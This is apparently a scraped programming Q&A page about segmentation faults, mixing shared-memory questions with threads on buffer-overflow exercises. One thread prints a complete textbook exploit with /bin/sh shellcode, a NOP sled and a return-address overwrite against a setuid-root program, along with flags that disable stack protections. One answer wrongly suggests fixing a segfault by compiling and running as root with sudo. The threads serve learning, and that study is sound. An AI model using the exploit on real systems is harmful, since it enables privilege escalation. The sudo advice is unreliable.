Shared memory: segmentation fault core dumped - c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/shm.h>
int main()
{
int shmid;
char *viraddr;
char buffer[BUFSIZ];
shmid=shmget(1234,BUFSIZ,0666|IPC_CREAT);
viraddr=(char*)shmat(shmid, 0,0);
while(1)
{
puts("Enter some text:");
fgets(buffer,BUFSIZ,stdin);
strcat(viraddr,buffer);
if(strncmp(buffer,"end",3)==0)
break;
}
shmdt(viraddr);
exit(0);
}
I am learning shared memory.I want to realize the communication between two processes. When I run this program, it always indicates this error -- segmentation fault core dumped. Any help on this? Thanks.

Here both viraddr and buffer have the same size. For strcat() it is recommended dst size to be atleast a byte larger than the src size. viraddr should have enough space to hold buffer data just to avoid buffer overrun.

Perhaps, sometimes the memory allocation returns FFFFF and then throws Segmentation Fault Core Dumped. Reason being you don't have enough rights to access the Memory for your processes.
Simply use sudo to compile and run the code. For instance say you have these files
shm1.c
shm2.c
shm.h
Then your commands need to be fired as following
sudo gcc shm1.c -o s1
sudo gcc shm2.c -o s2
sudo ./s1 &
sudo ./s2
If you are willing to do it on 2 different terminals, just fire sudo ./s1 in terminal1 & sudo ./s2 in different terminal 2

Related

Simple C Program Lags [Homework]

For an assignment I have we are to find vulnerabilities in a certain C program and exploit them using various buffer overflow attacks. However when I run the .out file in the terminal with it's input argument it just stalls and doesn't do anything.
Even when I run GDB, that just lags too. I'm not looking for a solution to the assignment, I'm just looking for reasons why it's not running?
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void partialwin()
{
printf("Achieved 1/2!\n");
}
void fullwin(){
printf("Achieved 2/2\n");
}
void vuln(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %s\n",buffer);
}
int main(int argc,char**argv){
vuln();
}
Providing your sourc file is called assignment1.c and you're using gcc this should work, $ being your command prompt (which could be different on your platform)
$ gcc assignment1.c
$ a.out
Hello
Buffer contents are Hello
$

Why do I get a segmentation fault in the exploit_notesearch program from "Hacking: The Art of Exploitation"?

So, to start off with, I am on Kali 2020.1, fully updated. 64 bit.
The source code is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (long int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
Now, some important clarifications. I included all those libraries because compilation throws warnings without them.
The preceding notetaker and notesearch programs, as well as this exploit_notesearch program have been compiled as follows in the Terminal:
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c
I no longer remember the source which said I must compile this way (the preferred stack boundary was 2 for them, but my machine requires it to be between 4 and 12). Also, the stack is executable now as you can see.
All 3 programs (notetaker, notesearch, and exploit_notesearch) had their permissions modified as in the book:
sudo chown root:root ./program_name
sudo chmod u+s ./program_name
I tried following the solution from this link: Debugging Buffer Overflow Example , but to no avail. Same goes for this link: Not So Fast Shellcode Exploit
Changing the offset incrementally from 0 to 330 by using increments of 1, 10, 20, and 30 in the terminal using a for-loop also did not solve my problem. I keep getting a segmentation fault no matter what I do.
What could be the issue in my case and what would be the best way to overcome said issue? Thank you.
P.S I remember reading that I'm supposed to use 64-bit shellcode instead of the one provided.
When you are segfaulting, it is a great time to run it within a debugger like GDB. It should tell you right where you are crashing, and you can step through the execution and validate the assumptions you are making. The most common segfaults tend to be invalid memory permissions (like trying to execute a non-executable page) or an invalid instruction (eg., if you land in the middle of shellcode, not in a NOP sled).
You are running into a couple of issues trying to convert the exploit to work on 32-bit. When filling the buffer with return addresses, it's using the constant 4 when pointers on 64-bit are actually 8 bytes.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
That could also present some issues when trying to exploit the strcpy bug, because those 64-bit addresses will contain NULL bytes (since the usable address space only uses 6 of the 8 bytes). Thus, if you have some premature NULL bytes before actually overwriting the return address on the stack, you won't actually copy enough data to leverage the overflow as intended.

Windows Linux compatibility layer. Function not implemented?

ORIGINAL:
I've been trying to implement a basic shared memory program using the Windows Subsystem for Linux (aka Bash on Ubuntu on Windows). Here is the code I wrote:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#define KEY 1374
int shmid;
char *dataPtr;
int main (void) {
shmid = shmget((key_t)KEY,1024, IPC_CREAT | 0666);
dataPtr = shmat(shmid, (void*)0,0);
if(dataPtr == (char*)(-1))
perror("shmat error");
strcpy(dataPtr,"test");
sleep(10);
shmdt(dataPtr);
shmctl(shmid, IPC_RMID, NULL);
}
I compiled it with GCC without any error or warning, but when I tried to run it, I got this error message:
shmat error: Function not implemented
Segmentation fault (core dumped)
I tried to get to the bottom of this error, but when I googled it, I
literally got nothing.
So the question is: did I horribly messed-up something very simple, or is it possible that the shared-memory system isn't implemented on "Ubuntu on Windows"?
EDIT:
I tried to run my code on my faculty's linux server, and it worked fine. So apparently the problem is with the Bash on Ubuntu on Windows system. The shared-memory system probably isn't implemented at all.

Buffer overflow example working on Windows, but not on Linux

In the book I am reading, Software Exorcism, has this example code for a buffer overflow:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFFER_SIZE 4
void victim(char *str)
{
char buffer[BUFFER_SIZE];
strcpy(buffer,str);
return;
}
void redirected()
{
printf("\tYou've been redirected!\n");
exit(0);
return;
}
void main()
{
char buffer[]=
{
'1','2','3','4',
'5','6','7','8',
'\x0','\x0','\x0','\x0','\x0'
};
void *fptr;
unsigned long *lptr;
printf("buffer = %s\n", buffer);
fptr = redirected;
lptr = (unsigned long*)(&buffer[8]);
*lptr = (unsigned long)fptr;
printf("main()\n");
victim(buffer);
printf("main()\n");
return;
}
I can get this to work in Windows with Visual Studio 2010 by specifying
Basic Runtime Checks -> Uninitialized variables
Buffer Security Check -> No
With those compile options, I get this behavior when running:
buffer = 12345678
main()
You've been redirected!
My question is about the code not working on Linux. Is there any clear reason why it is so?
Some info on what I've tried:
I've tried to run this with 32-bit Ubuntu 12.04 (downloaded from here), with these options:
[09/01/2014 11:46] root#ubuntu:/home/seed# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
Getting:
[09/01/2014 12:03] seed#ubuntu:~$ gcc -fno-stack-protector -z execstack -o overflow overflow.c
[09/01/2014 12:03] seed#ubuntu:~$ ./overflow
buffer = 12345678
main()
main()
Segmentation fault (core dumped)
And with 64-bit CentOS 6.0, with these options:
[root]# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[root]# sysctl -w kernel.exec-shield=0
kernel.exec-shield = 0
Getting:
[root]# gcc -fno-stack-protector -z execstack -o overflow overflow.c
[root]# ./overflow
buffer = 12345678
main()
main()
[root]#
Is there something fundamentally different in Linux environment, which would cause the example not working, or am I missing something simple here?
Note: I've been through the related questions such as this one and this one, but haven't been able to find anything that would help on this. I don't think this is a duplicate of previous questions even though there are a lot of them.
Your example overflows the stack, a small and predictable memory layout, in an attempt to modify the return address of the function void victim(), which would then point to void redirected() instead of coming back to main().
It works with Visual. But GCC is a different compiler, and can use some different stack allocation rule, making the exploit fail. C doesn't enforce a strict "stack memory layout", so compilers can make different choices.
A good way to view this hypothesis is to test your code using MinGW (aka GCC for Windows), proving the behavior difference is not related strictly to the OS.
#define BUFFER_SIZE 4
void victim(char *str)
{
char buffer[BUFFER_SIZE];
strcpy(buffer,str);
return;
}
There is another potential problem here if optimizations are enabled. buffer is 12 bytes, and its called as victim(buffer). Then, within victim, you try to copy 12 bytes into a 4 byte buffer with strcpy.
FORTIFY_SOURCES should cause the program to seg fault on the call to strcpy. If the compiler can deduce the destination buffer size (which it should in this case), then the compiler will replace strcpy with a "safer" version that includes the destination buffer size. If the bytes to copy exceeds the destination buffer size, then the "safer" strcpy will call abort().
To turn off FORTIFY_SOURCES, then compile with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.

Can gdb automatically attach a process on a SIGSEGV

I have a faulty program that when execute receive a SIGSEGV.
I can use gdb like this:
$ gdb ./prog
But I would prefer that gdb catch the SIGSEGV from prog and attach it automatically.
$ ./prog
Segmentation Fault
(gdb) ...
Is there a way to do that?
Thanks
Hmm. You can set up a signal handler to launch the debugger with the current process. That way you can inspect the whole state "live".
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
const char *prog=0;
void fn(int signum)
{
char buf[256];
snprintf(buf,255,"ddd %s %d",prog,getpid());
system(buf);
}
int main(int argc, char **argv)
{
prog=argv[0];
signal(SIGSEGV,&fn);
int *p=0;
int k=*p;
}
UPDATE: Chaged according to the suggestions of miedwar and Fanatic23. Current Ubuntu distributions are configured to disallow debugging of non-child processes. See https://askubuntu.com/questions/41629/after-upgrade-gdb-wont-attach-to-process for a fix.
Well you can always create a core file and then analyse the callstack using gdb on that core. You can check out the man page for ulimit to do so.
Check this link for more info.
To add to Mainframe's answer you can link your app with libdebugme (or simply LD_PRELOAD it) to achieve similar functionality. For example:
DEBUGME_OPTIONS=handle_signals=1 LD_PRELOAD=libdebugme.so ./app

Resources